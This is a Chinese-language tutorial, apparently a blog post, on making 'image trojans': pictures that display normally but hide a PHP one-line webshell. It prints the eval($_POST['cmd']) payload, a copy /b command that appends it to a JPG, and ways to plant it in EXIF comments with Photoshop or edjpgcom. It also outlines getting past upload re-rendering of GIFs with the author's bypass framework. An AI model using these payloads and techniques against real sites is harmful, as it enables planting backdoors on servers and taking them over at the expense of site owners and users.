0x01什么是图片木马?

图片木马在网络上没有统一的定义,在这里我给出自己的定义。图片木马是一张能正常显示又包含恶意代码(比如一句话木马)的图片文件。

根据定义我们知道图片木马两个条件:

  • 图片能正常显示
  • 包含能执行的而已代码

总体思路:将恶意代码写在图片文件中非图片数据区,防止写入导致图片损坏。

常规的图片格式有gif,png,jpg格式

0x02将恶意代码写在图片尾部

适合格式:任何图片格式

方法一:copy法

准备一张正常图片(a.jpg),新建一个文件内容写入以下代码(b.php)

1
<?php @eval($_POST['cmd']);?>

使用以下命令生成图片木马muma.jpg

1
copy /b a.jpg + b.php/a = muma.jpg

copy_20170726

方法二:二进制编辑器法

使用二进制编辑工具(比如winhex,utrl editor等等)直接写恶意代码到文件尾部。
这里我使用winhex给大家演示
winhex_20170726
winhex_20170726

0x03图片描述法

jpg格式的图片有exif这个结构,专门用来描述

方法一:ps法

使用ps打开图片,在描述出填入恶意代码,最后保存

其实也可以用gimp

ps01_20170726
ps02

方法二:edjpgcom

将要注入恶意代码的图片拖到edjpgcom.exe上,在edjpgcom弹出的输入框中输入一句话。
edjpgcom_20170726

edjpgcom下载

0x04渲染绕过

适合格式:gif
现在的网站对于图片上传的防范越来越严,经常对上传的图片二次渲染。导致我们的通过方法思路一和思路二的方法注入的而已代码,在渲染之后被“清洗”掉了!这时候我们就得思考如何去绕过。
绕过思路:对比上传前和上传后的图片的差异,找到相同数据同时又是非图片数据区的地方,在在,此处写入恶意代码。

下载笔者开发的上传绕过框架(uplaod bypass framework),里面有一个二次渲染绕过上传

步骤一:对比

步骤二:写入